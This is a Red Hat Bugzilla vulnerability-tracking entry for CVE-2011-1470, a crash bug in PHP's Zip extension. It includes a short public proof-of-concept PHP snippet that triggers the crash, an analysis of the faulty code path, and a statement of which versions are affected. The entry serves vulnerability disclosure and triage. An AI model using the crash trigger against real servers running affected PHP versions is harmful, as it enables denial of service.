Bug 690911 (CVE-2011-1470) - CVE-2011-1470 php: crash when processing certain Zip archives
Summary: CVE-2011-1470 php: crash when processing certain Zip archives
Alias: CVE-2011-1470
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
Target Milestone: ---
Assignee: Red Hat Product Security
QA Contact:
Depends On:
Blocks: Embargoed715030
TreeView+ depends on / blocked
Reported: 2011-03-25 18:54 UTC by Jan Lieskovsky
Modified: 2021-02-24 16:13 UTC (History)
5 users (show)

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Clone Of:
Last Closed: 2011-10-12 11:42:06 UTC

Attachments (Terms of Use)

Description Jan Lieskovsky 2011-03-25 18:54:57 UTC
Common Vulnerabilities and Exposures assigned an identifier CVE-2011-1470 to
the following vulnerability:

The Zip extension in PHP before 5.3.6 allows context-dependent
attackers to cause a denial of service (application crash) via a
ziparchive stream that is not properly handled by the
stream_get_contents function.

[1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1470
[2] http://bugs.php.net/bug.php?id=53579
[3] http://www.php.net/ChangeLog-5.php

Upstream patch:
[4] http://svn.php.net/viewvc/?view=revision&revision=306493

Comment 1 Jan Lieskovsky 2011-03-25 18:56:35 UTC
Public PoC from [2]:

$target_file = 'META-INF/MANIFEST.MF';

$za = new ZipArchive();
if ($za->open('test.jar') !== TRUE)
    return FALSE;

if ($za->statName($target_file) !== FALSE)
    $fd = $za->getStream($target_file);
    $fd = FALSE;

if (is_resource($fd))
    echo strlen(stream_get_contents($fd));


Comment 8 Huzaifa S. Sidhpurwala 2011-10-12 11:30:18 UTC
Details from Joseph Orton:

The fix for this one:


ensures stream->orig_path is non-NULL in the zip stream object.

This matters because php_zip_ops_stat assumes ->orig_path is non-NULL:

static int php_zip_ops_stat(php_stream *stream, php_stream_statbuf *ssb TSRMLS_DC) /* {{{ */
 	struct zip_stat sb;
 	const char *path = stream->orig_path;
	int path_len = strlen(stream->orig_path);

But php_zip_ops_stat() was only added in PHP 5.3.4; the function does 
not exist in 5.3.3, nor does anything else in ext/zip which assumes 
stream->orig_path is non-NULL.

Conclusion: CVE-2011-1470 only affects PHP 5.3.4 and 5.3.5.

Comment 9 Huzaifa S. Sidhpurwala 2011-10-12 11:37:50 UTC

This issue does not affect the version of php shipped with Red Hat Enterprise
Linux 4, 5 and 6. This issue does not affect the version of php53 shipped with
Red Hat Enterprise Linux 5.

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